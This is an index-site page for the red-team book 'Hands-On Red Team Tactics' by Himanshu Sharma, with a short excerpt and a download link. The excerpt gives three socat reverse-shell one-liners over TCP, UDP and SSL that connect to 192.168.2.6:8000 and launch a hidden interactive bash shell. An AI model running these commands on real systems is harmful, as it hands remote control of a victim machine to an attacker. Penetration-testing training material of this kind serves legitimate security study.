Hands-On Red Team Tactics by Himanshu Sharma

Hands-On Red Team Tactics by Himanshu Sharma

Author:Himanshu Sharma
Language: eng
Format: epub
Tags: COM053000 - COMPUTERS / Security / General, COM043000 - COMPUTERS / Networking / General, COM043050 - COMPUTERS / Security / Networking
Publisher: Packt Publishing
Published: 2018-09-28T05:47:08+00:00


Socat reverse shell over TCP

socat tcp-connect:192.168.2.6:8000 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &

Socat reverse shell over UDP

socat udp-connect:192.168.2.6:8000 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &

Socat reverse shell over SSL (cert.pem is the custom certificate)

socat exec:'bash -li',pty,stderr,setsid,sigint,sane openssl-connect:192.168.2.6:8000,key=$HOME/cert.pem,verify=0

We hope you now understand the criticality of using a reverse_tcp payload without any security. In the next chapter, you will be learning about Empire, the tool that is juiced up with PowerShell modules to get you better access to your target server.



Download



Copyright Disclaimer:
This site does not store any files on its server. We only index and link to content provided by other sites. Please contact the content providers to delete copyright contents if any and email us, we'll remove relevant links or contents immediately.